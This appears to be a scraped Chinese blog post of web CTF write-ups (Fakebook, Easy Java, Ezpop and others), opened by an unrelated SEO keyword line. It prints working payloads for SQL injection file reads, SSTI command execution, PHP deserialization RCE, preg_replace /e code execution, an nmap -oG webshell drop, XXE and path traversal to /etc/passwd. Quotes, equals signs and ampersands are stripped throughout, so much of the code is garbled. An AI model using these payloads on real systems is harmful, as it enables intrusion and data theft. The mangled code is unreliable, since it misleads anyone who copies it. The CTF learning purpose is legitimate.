百度网站是用什么软件做的,网站建设调研论文,wordpress的默认密码是什么,浪子做的阿哲喊麦网站多少[网鼎杯 2018]Fakebook
注册一个账户#xff0c;进去之后查看源代码#xff0c;感觉存在注入点 是数字型注入#xff0c;payload#xff1a;
1%20and(false)
1%20and(true)判断列数
1 order by 5改为4的时候则页面正常 判断显示位#xff0c;可以看见第二列存在数据回…[网鼎杯 2018]Fakebook
注册一个账户进去之后查看源代码感觉存在注入点 是数字型注入payload
1%20and(false)
1%20and(true)判断列数
1 order by 5改为4的时候则页面正常 判断显示位可以看见第二列存在数据回显
0 union/**/select 1,2,3,4查看可执行的权限路径
0%20union/**/select%201,global.secure_file_priv,3,4当返回空值意味着可以读取或者写入任意路径的文件 使用load_file函数读取flag文件
0%20union/**/select%201,load_file(/var/www/html/flag.php),3,4查看源码获得flag
[RoarCTF 2019]Easy Java
访问链接地址可以发现是一个登录框页面 感觉怪怪的先看一眼源码就发现突破点了 访问可以发现出现报错 更改数据包把GET请求方式改为POST发现成功下载help.docx 打开help.docx文档可以发现提示说明我们还需要下载关键的文件才行。 因为根据题目提示JAVA使用尝试利用下载WEB-INF/web.xml文件可以看见成功了
java网站的目录结构
src 存放项目的Java源代码。src/com/example/web/Java源代码的根目录可能按照包构组织。webapp或者WebContent 包含Web应用程序的资源文件。
webapp/WEB-INF/包含配置和部署描述文件。
webapp/WEB-INF/web.xmlWeb应用的部署描述文件包含Servlet和其他配置信息。
webapp/WEB-INF/classes/编译后的Java类文件。
webapp/WEB-INF/lib/存放项目依赖的JAR文件。
webapp/WEB-INF/jsp/存放JSP文件。根据回显可以看见是要获取编译后的Java文件 所以构造payload
/Download?filename/WEB-INF/classes/com/wm/ctf/FlagControlle.class可以发现flag就是这串 base64 编码
[BJDCTF2020]The mystery of ip
访问链接直接进入主题。根据题目提示说明ip存在猫腻 为数据包添加请求头
X-Forwarded-For:127.0.0.1可以看见X-Forwarded-For:是一个可控点我们可以利用这个请求头来进行其他操作 最终测试出存在SSTI模板注入。
{{8*8}}通过FUZZ爆破发现是Smarty模板的SSTI漏洞最后使用payload
{{system(cat /flag)}}可以看见成功获取flag
[网鼎杯 2020 朱雀组]phpweb
进入网页后可以发现有些奇怪的信息突然出现在页面中 抓包看看可以发现是调用了php的函数才导致的 既然我们知道了可以调用函数来实现日期的回显那么我们利用可控变量修改函数来读取index.php来看看
funcfile_get_contentspindex.php通过读取源码发现禁用了许多可以执行命令的函数。 ?php$disable_fun array(exec,shell_exec,system,passthru,proc_open,show_source,phpinfo,popen,dl,eval,proc_terminate,touch,escapeshellcmd,escapeshellarg,assert,substr_replace,call_user_func_array,call_user_func,array_filter, array_walk, array_map,registregister_shutdown_function,register_tick_function,filter_var, filter_var_array, uasort, uksort, array_reduce,array_walk, array_walk_recursive,pcntl_exec,fopen,fwrite,file_put_contents);function gettime($func, $p) {$result call_user_func($func, $p);$a gettype($result);if ($a string) {return $result;} else {return ;}}class Test {var $p Y-m-d h:i:s a;var $func date;function __destruct() {if ($this-func ! ) {echo gettime($this-func, $this-p);}}}$func $_REQUEST[func];$p $_REQUEST[p];if ($func ! null) {$func strtolower($func);if (!in_array($func,$disable_fun)) {echo gettime($func, $p);}else {die(Hacker...);}}?但是我们可以看见下面的类 class Test {var $p Y-m-d h:i:s a;var $func date;function __destruct() {if ($this-func ! ) {echo gettime($this-func, $this-p);}}}$func $_REQUEST[func];$p $_REQUEST[p];其他代码不用管因为影响不大。如果要想绕过禁用函数那么就要执行反序列为什么呢因为反序列化 unserialize() 对单一的已序列化的变量进行操作将其转换回 PHP 的值。 从而构造payload
?phpclass Test {var $p Y-m-d h:i:s a;var $func date;}$a new Test();$a - func system;//$a - p find / -name flag*;$a - p cat /tmp/flagoefiu4r93;echo serialize($a);
?查找flag路径
funcunserializepO:4:Test:2:{s:1:p;s:20:find / -name flag*;s:4:func;s:6:system;}获取flag
funcunserializepO:4:Test:2:{s:1:p;s:22:cat /tmp/flagoefiu4r93;s:4:func;s:6:system;}:6:system;}[BSidesCF 2020]Had a bad day
进入网页之后可以看见有两个按钮可以点击 通过观察可以发现浏览器多了个参数进行请求每次刷新页面猫猫的图片都会换掉 因此推测不是sql注入的漏洞应该是文件包含漏洞使用php伪协议可以发现成功读取文件
php://filter/convert.base64-encode/resourceindex因为报错信息可以发现php是有两个的那么我们删掉.php就好了。 base64解码得到index.php源码
?php$file $_GET[category];
if(isset($file))
{if( strpos( $file, woofers ) ! false || strpos( $file, meowers ) ! false || strpos( $file, index)){include ($file . .php);}else{echo Sorry, we currently only support woofers and meowers.;}
}
?通过代码审计可以看见要想包含想要的文件就必须通过if判断。那么我们要包含的flag文件在哪里呢 通过目录扫描得知是flag.php 文件 从而构造payload
?categorymeowers/../flag可以发现验证成功 最后利用php伪协议就可以成功读取到了flag.php 的源代码
?categoryphp://filter/convert.base64-encode/resourcemeowers/../flagbase64解码获得flag
[BUUCTF 2018]Online Tool
进入页面后开始审计源码
?phpif (isset($_SERVER[HTTP_X_FORWARDED_FOR])) {$_SERVER[REMOTE_ADDR] $_SERVER[HTTP_X_FORWARDED_FOR];
}if(!isset($_GET[host])) {highlight_file(__FILE__);
} else {$host $_GET[host];$host escapeshellarg($host);$host escapeshellcmd($host);$sandbox md5(glzjin. $_SERVER[REMOTE_ADDR]);echo you are in sandbox .$sandbox;mkdir($sandbox);chdir($sandbox);echo system(nmap -T5 -sT -Pn --host-timeout 2 -F .$host);
}通过观察可以发现最重要的函数就是
escapeshellarg
escapeshellcmd绕过原理
?phpecho 一开始的字符串.$a hell;
echo br是escapeshellarg函数.$b escapeshellarg($a);
echo br是escapeshellcmd函数.escapeshellcmd($a);
echo br两个函数一起的结果.escapeshellcmd($b);为开头 hell 的首位添加一个单引号通过观察可以发现最终两个函数的结果的单引号没有闭合导致不能执行恶意代码。 通过观察可以发现是单引号引起了转义当 hell 后面再次添加一个单引号的时候就会闭合 知道了闭合单引号也意味着我们可以控制变量参数了。
//?$hostpayload
//?host执行的关键payload
//末尾的单引号前面还要多空出一格由于nmap的 -oG 参数可以导出文件利用这点构造以下payload:
?host?php echo cat /flag;? -oG a.php 最后访问生成的php文件获得flag
xxx.buooj.cn:81/73d2515c6cc128eff4ed44689ccbe7e6/a.php[BJDCTF2020]ZJCTF不过如此
进入页面先审计源码
?phperror_reporting(0);
$text $_GET[text];
$file $_GET[file];
if(isset($text)(file_get_contents($text,r)I have a dream)){echo brh1.file_get_contents($text,r)./h1/br;if(preg_match(/flag/,$file)){die(Not now!);}include($file); //next.php}
else{highlight_file(__FILE__);
}
?主要看第六行代码当 t e x t 变量等于 I h a v e a d r e a m 同时 f i l e g e t c o n t e n t s 函数将会读取 text 变量等于 I have a dream 同时file_get_contents函数将会读取 text变量等于Ihaveadream同时filegetcontents函数将会读取text 变量它们两个进行对比是否等于 I have a dream。我们只需要让text变量等于这个英文字符串即可。 我这里使用data协议当然也可以php://input 协议构造以下payload
?textdata://text/plain,I have a dream可以看见我们的页面并没有报错已经成功的运行到了file_get_contents 函数这也意味着我们也可以控制下面的file变量 然后php伪协议读取 next.php 提示文件的源码
?textdata://text/plain,I have a dreamfilephp://filter/convert.base64-encode/resourcenext.php最后base64 解码获取源码
?php
$id $_GET[id];
$_SESSION[id] $id;function complex($re, $str) {return preg_replace(/( . $re . )/ei,strtolower(\\1),$str);
}foreach($_GET as $re $str) {echo complex($re, $str). \n;
}function getFlag(){eval($_GET[cmd]);
}这里主要考点是 preg_replace 的一个RCE漏洞
preg_replace( /( . $re . )/ei,strtolower(\\1), $str);主要是构造
preg_replace(.*)/ei,strtolower(\\1), {${此处填函数名}});所以我们要做的就是换一个正则表达式让其匹配到 {${phpinfo()}} 即可执行 phpinfo 函数。 payload
?\S*${phpinfo()}根据此原理的条件下我们剩下想要执行命令就简单的多了使用源码自带的函数获取flag。通过调用getFlag()函数然后执行命令
?\S*${getFlag()}cmdsystem(cat /flag);这个是我自己想的getshell思路感觉这个更方便点。也可以使用系统自带的命令执行
?\S*${system($_GET[c])}ccat /flag花式绕过
?\S*${system(chr(99).chr(97).chr(116).chr(32).chr(47).chr(102).chr(108).chr(97).chr(103))}关于preg_replace漏洞的产生可以参考这篇
https://xz.aliyun.com/t/2557[GXYCTF2019]禁止套娃
信息收集
首先进入页面通过页面的信息和抓包发现没有任何可以利用的东西猜测可能是需要目录扫描 果不其然成功扫出来了 是git泄露 使用工具GitHack
https://github.com/lijiejie/GitHack可以看见已经获得了一个index.php 的源码文件
?php
include flag.php;
echo flag在哪里呢br;
if(isset($_GET[exp])){if (!preg_match(/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i, $_GET[exp])) {if(; preg_replace(/[a-z,_]\((?R)?\)/, NULL, $_GET[exp])) {if (!preg_match(/et|na|info|dec|bin|hex|oct|pi|log/i, $_GET[exp])) {// echo $_GET[exp];eval($_GET[exp]);}else{die(还差一点哦);}}else{die(再好好想想);}}else{die(还想读flag臭弟弟);}
}
// highlight_file(__FILE__);
?
代码审计
现在最重要的代码审计如何获得eval可控变量进行shellcode 注入 我们主要看这三行代码 if (!preg_match(/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i, $_GET[exp])) {if(; preg_replace(/[a-z,_]\((?R)?\)/, NULL, $_GET[exp])) {if (!preg_match(/et|na|info|dec|bin|hex|oct|pi|log/i, $_GET[exp])) {第一行意思是不能匹配恶意的协议流如果没有匹配进入到下一个if判断语句第二行意思是将匹配到的字符串如果替换为NULL空之后仍然等于 ;这个分号就可以进行下一个if判断中。 在这其中我们需要注意替换符
/[a-z,_]\((?R)?\)/
// 这个可能很难理解但其实不是的。
// 例如 a-z的引文字符母和下划线 _ 最后通过连接符号 上括号 ()
// ?R 里面的意思递归。至于递归什么递归的是刚刚说的那些例如a(b(c()))
// a()里面包含着b()以此类推就是这个意思而第三行的意思是不能匹配里面的关键字大小写也绕过不了。如果没有里面的关键词就会可以执行 eval这个可控变量了。
构造payload
array数组
现在我们了解那么多就可以开始自己造轮子来代替平时的函数以达到我们的目的只能通过函数而不再函数里面使用双引号与字符串。 查看当前路径下的文件以数组方式打印
?expprint_r(scandir(pos(localeconv())));// scandir — 列出指定路径中的文件和目录
// pos是current函数的别名current用来返回当前数组的当前单元
// localeconv — 获取数字格式信息在这里它的作用可以代替路径 ./发现flag.php 在倒数第二行。 在php函数中刚好可以利用 next函数与 array_reverse函数进行利用最后通过show_source 高亮显示文件成功读取到flag.php
?expshow_source(next(array_reverse(scandir(pos(localeconv())))));// next — 将数组中的内部指针向前移动一位
// array_reverse — 返回单元顺序相反的数组当 flag.php 的数组位置随机可以使用 array_rand函数与array_flip函数以下payload一直刷新页面flag就会回显
?expshow_source(array_rand(array_flip(scandir(current(localeconv())))));array_rand()返回的是数组名称而array_flip()函数的作用是通过数组名称来获得数组值
这两个函数互相搭配就可以通过数组名称来获得到数组的值了session_id()
这种RCE的方式主要是通过 session 来帮助命令执行的。 因为我们可以通过这些函数来控制可控变量而session_id 的作用就是获取当前会话的ID,也就是cookie中的phpsession我们可以通过抓包修改其值从而注入shellcode。
因为 phpsession 只允许 a-z A-Z 0-9 。 - 所以我们必须转换为十六进制才能RCE。
而session_id必须要开启session才可以使用所以我们要使用session_start()函数。RCE的payload
?expeval(hex2bin(session_id(session_start())));执行不了是因为第二行的代码它不支持数字
if(; preg_replace(/[a-z,_]\((?R)?\)/, NULL, $_GET[exp])) {不过不影响获得flag
?expshow_source(session_id(session_start()));// Cookie:PHPSESSIDflag.php其他的无参数rce具体可以看看这篇
https://blog.csdn.net/weixin_46330722/article/details/110840156[NCTF2019]Fake XML cookbook
根据题目提示可以看见是关于XML想起XML语言标记文本就会联想到XXE漏洞具体可以参考我之前写过的一篇文章这里就不再赘述基础知识了。
https://blog.csdn.net/weixin_53912233/article/details/129077736首先打开burp suite进行抓包可以发现是XML语言 尝试一下payload
!DOCTYPE cike[!ENTITY xxe SYSTEM file:///flag]
userusernamexxe;/usernamepassworda/password/user发现直接给出了回显证实了存在漏洞的利用性 剩下的就是读取flag文件就成功了根据数据的flag.php提示 最终试出来了flag的具体位置下面是payload
!DOCTYPE cike[!ENTITY xxe SYSTEM file:///flag]
userusernamexxe;/usernamepassworda/password/user[GWCTF 2019]我有一个数据库
通过目录扫描发现一个phpmyadmin的后台地址 然后搜索历史漏洞可以发现poc
?targetdb_sql.php%253f/../../../../../../../../etc/passwd获取flag
?targetdb_sql.php%253f/../../../../../../../../flag[BJDCTF2020]Mark loves cat
通过目录扫描发现存在 .git 泄露 然后使用工具GitHack 获得了源码index.php 源码
?phpinclude flag.php;$yds dog;
$is cat;
$handsome yds;foreach($_POST as $x $y){$$x $y;
}foreach($_GET as $x $y){ $$x $$y;
}foreach($_GET as $x $y){ if($_GET[flag] $x $x ! flag){exit($handsome);}
}if(!isset($_GET[flag]) !isset($_POST[flag])){exit($yds);
}if($_POST[flag] flag || $_GET[flag] flag){exit($is);
}echo the flag is: .$flag;flag.php 的源码
?php$flag file_get_contents(/flag);可以看见要想输出echo函数就要绕过三个if判断但是陷入不太可能。 而突破点就是exit()函数当调用此函数的时候里面的变量将会执行。 所以我们只需要想办法进行变量覆盖执行这一段让$yds变量等于flag
if(!isset($_GET[flag]) !isset($_POST[flag])){exit($yds);
}其中foreach语句的意思是
foreach($_GET as $x $y){ // $x 表示每个传递过来的参数名而 $y 则表示对应参数名的值。
$$x $$y;}所以我们输入的变量是 yds flag $xyds $yflag$$x $$y 所以 $yds$flag所以当 $yds $flag 时就会调用exit($yds); 等同于 echo $flag;因为头部包含了flag.php从而构造payload
?ydsflag而且一开始主页就有提示了一个dog回显 查看源代码可以看见dog是 $yds的变量 所以当我们替换dog为flag就会输出flag
第二个payload构造可以看见我们需要触发is变量前提条件是满足flagflag或者使用post请求
foreach($_GET as $x $y){$$x $$y;
}if($_POST[flag] flag || $_GET[flag] flag){exit($is);
}所以我们构造payload
?isflagflagflag至于is为什么要等于flag原理也是和 yds 变量一样它们都是通过 foreach语句。变成可可变量了。而三个if所执行的exit()函数里面的变量都是不同的。 第三个payload
?handsomeflagflagxx1
// 这里不一定是 x变量也可以改
?handsomeflagflagaa1原理是为了绕过第一个if判断所以 f l a g flag flagx变量里的值而x不能等于flag所以在需要一个$x传入变量
foreach($_GET as $x $y){$$x $$y;
}foreach($_GET as $x $y){ if($_GET[flag] $x $x ! flag){ // x变量不能等于flag且flag变量要等于x变量所以可以通过if判断。exit($handsome);}payload4: 还有一个解法我觉得应该算是php弱数组 因为foreach输出的都是数组那么我们不仅可以利用变量覆盖还可以利用php的数组的特性如
?13flagflag13[WUSTCTF2020]朴实无华
通过信息收集发现存在robots.txt 文件 访问这个php回显了一个flag不在这 抓包发现返回包头存在提示 /fl4g.php 然后又是一个php审计
?php
header(Content-type:text/html;charsetutf-8);
error_reporting(0);
highlight_file(__file__);//level 1
if (isset($_GET[num])){$num $_GET[num];if(intval($num) 2020 intval($num 1) 2021){echo 我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好./br;}else{die(金钱解决不了穷人的本质问题);}
}else{die(去非洲吧);
}
//level 2
if (isset($_GET[md5])){$md5$_GET[md5];if ($md5md5($md5))echo 想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴./br;elsedie(我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲);
}else{die(去非洲吧);
}//get flag
if (isset($_GET[get_flag])){$get_flag $_GET[get_flag];if(!strstr($get_flag, )){$get_flag str_ireplace(cat, wctf2020, $get_flag);echo 想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥./br;system($get_flag);}else{die(快到非洲了);}
}else{die(去非洲吧);
}
?
去非洲吧level 1绕过 intval:
if (isset($_GET[num])){$num $_GET[num];if(intval($num) 2020 intval($num 1) 2021){echo 我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好./br;}else{die(金钱解决不了穷人的本质问题);}
}else{die(去非洲吧);
}绕过条件是满足num变量小于2020当1时要大于2021这里有一个函数 intval当数字存在字母e时进行计算会变成科学计算法因为这里的比较是弱类型比较所以可以使用字母
其中 e 表示乘以 10 的幂。所以 202e9 实际上表示的是 202 乘以 10 的 9 次方也就是 202 亿。所以成功绕过了这个if判断payload
?num202e9level 2
if (isset($_GET[md5])){$md5$_GET[md5];if ($md5md5($md5))echo 想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴./br;elsedie(我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲);
}else{die(去非洲吧);
}
可以看见是md5的弱类型比较在比较数据的时候会进行类型的转换我们只需要找到对应的数值就好了
?num20e09md50e807097110level3:
if (isset($_GET[get_flag])){$get_flag $_GET[get_flag];if(!strstr($get_flag, )){$get_flag str_ireplace(cat, wctf2020, $get_flag);echo 想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥./br;system($get_flag);}else{die(快到非洲了);}
}else{die(去非洲吧);
}
?可以看见传入get_flag 变量之后strstr 函数检查该值是否包含空格。如果没有空格它将使用 str_ireplace 函数将字符串中的 “cat” 替换为 “wctf2020”。 payload
?num20e09md50e807097110get_flagls // 查看当前目录
?num20e09md50e807097110get_flagca\t${IFS}fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag
// \ 等于空变量 ${IFS}等于空格[BJDCTF2020]Cookie is so stable
进入网页直接来到提示点击FLAG 根据提示说cookie我们抓包看看 发现cookie里面有个user参数等于a再放包可以发现页面回显了个字母a 经过测试推测出是SSTI模板注入的漏洞payload
{{8*8}}回显出了64的数字 通过这幅图的payload测试可以推测出可能是 Twig模板或者Jinja2模板。 最终测试出是Twig 模板payload
{{_self.env.registerUndefinedFilterCallback(exec)}}{{_self.env.getFilter(id)}}{{_self.env.registerUndefinedFilterCallback(exec)}}{{_self.env.getFilter(cat /flag)}}[安洵杯 2019]easy_web
进入页面可以通过观察这是一个base64 的编码可以发现是img参数接受的感觉很奇怪。 因此推测出可能是来显示页面中的图片通过解码发现 base64 - base64 - hexe - text 最后发现是源文件是555.png按照这种思路尝试把555.png 改为 index.php 然后进行反向编码 hex - base64 - base64
?imgTmprMlJUWTBOalUzT0RKRk56QTJPRGN3cmd可以发现有base64编码后的字符串 base64解码得出源码
?php
error_reporting(E_ALL || ~ E_NOTICE);
header(content-type:text/html;charsetutf-8);
$cmd $_GET[cmd];
if (!isset($_GET[img]) || !isset($_GET[cmd])) header(Refresh:0;url./index.php?imgTXpVek5UTTFNbVUzTURabE5qYz0cmd);
$file hex2bin(base64_decode(base64_decode($_GET[img])));$file preg_replace(/[^a-zA-Z0-9.]/, , $file);
if (preg_match(/flag/i, $file)) {echo img src ./ctf3.jpeg;die(xixi no flag);
} else {$txt base64_encode(file_get_contents($file));echo img srcdata:image/gif;base64, . $txt . /img;echo br;
}
echo $cmd;
echo br;
if (preg_match(/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\|\|\|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\[^\d]||\||\\$|\[|\]|{|}|\(|\)|-||/i, $cmd)) {echo(forbid ~);echo br;
} else {if ((string)$_POST[a] ! (string)$_POST[b] md5($_POST[a]) md5($_POST[b])) {echo $cmd;} else {echo (md5 is funny ~);}
}?通过观察代码可以发现是RCE执行才能获取flag那么我们需要绕过这两段关键代码
if (preg_match(/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\|\|\|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\[^\d]||\||\\$|\[|\]|{|}|\(|\)|-||/i, $cmd)) {echo(forbid ~);echo br;if ((string)$_POST[a] ! (string)$_POST[b] md5($_POST[a]) md5($_POST[b])) {echo $cmd;其中最重要的post传参的a和b因为它们是强类型比较MD5值相等且转换为字符串类型的值不能相等。 因为传入的必须是字符串就不能拿数组绕过了。 至于MD5碰撞相等的方法可以具体参考这一篇文章
https://blog.csdn.net/shuaicenglou3032/article/details/118197904现在进行构造数据包可以发现成功执行命令
a%D11%DD%02%C5%E6%EE%C4i%3D%9A%06%98%AF%F9%5C/%CA%B5%87%12F~%AB%40%04X%3E%B8%FB%7F%89U%AD4%06%09%F4%B3%02%83%E4%88%83%25qAZ%08Q%25%E8%F7%CD%C9%9F%D9%1D%BD%F2%807%3C%5B%D8%82%3E1V4%8F%5B%AEm%AC%D46%C9%19%C6%DDS%E2%B4%87%DA%03%FD%029c%06%D2H%CD%A0%E9%9F3B%0FW~%E8%CET%B6p%80%A8%0D%1E%C6%98%21%BC%B6%A8%83%93%96%F9e%2Bo%F7%2Apb%D11%DD%02%C5%E6%EE%C4i%3D%9A%06%98%AF%F9%5C/%CA%B5%07%12F~%AB%40%04X%3E%B8%FB%7F%89U%AD4%06%09%F4%B3%02%83%E4%88%83%25%F1AZ%08Q%25%E8%F7%CD%C9%9F%D9%1D%BDr%807%3C%5B%D8%82%3E1V4%8F%5B%AEm%AC%D46%C9%19%C6%DDS%E24%87%DA%03%FD%029c%06%D2H%CD%A0%E9%9F3B%0FW~%E8%CET%B6p%80%28%0D%1E%C6%98%21%BC%B6%A8%83%93%96%F9e%ABo%F7%由于是post请求还需添加这个请求头用于表示post请求编码的格式
Content-Type:application/x-www-form-urlencoded现在只需要绕过命令执行就可以
l\s
l\s%20/查看根目录文件,反斜杠可以绕过空变量%20用于绕过空格 最后读取flag
ca\t%20/flag[MRCTF2020]Ezpop
访问页面可以是关于反序列化的题如图 我们可以从第一个类开始分析
class Modifier {// protected定义的变量反序列化之后输出的字符串为不可显需要urlencode进行编码输出protected $var;//可以看见这里有一个include函数可以进行文件包含漏洞来进行读取flag.php文件public function append($value){include($value);}//调用include函数必须使用__invoke()方法当尝试以调用函数的方式调用一个对象时,_invoke()方法会自动调用函数public function __invoke(){$this-append($this-var);}
}通过分析我们必须要调用函数的方式调用一个对象才能利用 include()函数来读取flag.php文件。
在最后一个类进行分析发现存在调用__invoke()的方式
class Test{public $p;public function __construct(){$this-p array();}
//读取不可访问protected 或 private或不存在的属性的值时__get() 会被调用。public function __get($key){$function $this-p;return $function();}
}可以看见第9行return函数意味着调用函数。为了可以执行__get函数我们需要读取和不可访问protected 或 private或不存在的属性的值。
现在分析中间的show类
class Show{public $source;public $str;//这个不重要只是输出xxx决定不了什么public function __construct($fileindex.php){$this-source $file;echo Welcome to .$this-source.br;}//当输出引用这个类的时候将会调用__toString(),就会返回这些属性值给全局进行使用public function __toString(){ return $this-str-source;}//在这里可以看见echo输出函数后面调用__toString()将会用到这里的source属性。public function __wakeup(){if(preg_match(/gopher|http|file|ftp|https|dict|\.\./i, $this-source)) {echo hacker;$this-source index.php;}}
}
现在知道了 include()来自Modifie类----Test()的__get()调用方法----使用Show()__toString()来构造不存在的属性和值 开始构造pop链
所以创建新类的顺序为
Show()-Test()-Modifie()php生成反序列化的脚本
?php
class Modifier {protected $var php://filter/convert.base64-encode/resourceflag.php;
}class Show{public $source;public $str;
}class Test{public $p;
}// 初始化创建Show()的类为a变量
$a new Show();
// 将source属性添加到 Show()类中因为这样子就可以使用到echo函数也会调用__toString()方法
$a-source new Show();
// Test()类的__get()方法为了可以调用我们将属性调转过来
$a-source-str new Test();
// 最后将全部的属性指定到p中放入Modifier()类才能执行__invoke()方法即调用include()函数
$a-source-str-p new Modifier();// 输出反序列化以url编码这是为了显示protected变量的不可回显的字符
echo urlencode(serialize($a));最后生成payload
O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BN%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A52%3A%22php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BN%3B%7D以pop参数接受payload base64解码获得flag